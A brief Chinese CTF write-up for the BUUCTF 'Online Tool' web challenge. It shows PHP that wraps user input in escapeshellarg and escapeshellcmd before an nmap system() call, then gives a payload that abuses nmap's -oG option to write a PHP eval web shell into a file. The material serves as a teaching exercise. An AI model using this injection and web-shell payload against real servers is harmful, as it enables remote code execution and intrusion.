BUUCTF-WEB-Online Tool

2020-04-09  本文已影响0人  le3f

复现地址:https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool

参考:https://www.dazhuanlan.com/2020/03/01/5e5aef3248649/

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellcmd 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$*, \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

构造payload

?host=' <?php @eval($_POST["l3ef"];phpinfo();)?> -oG l3ef.php '
image.png
image.png

连接读取flag

上一篇 下一篇

猜你喜欢

热点阅读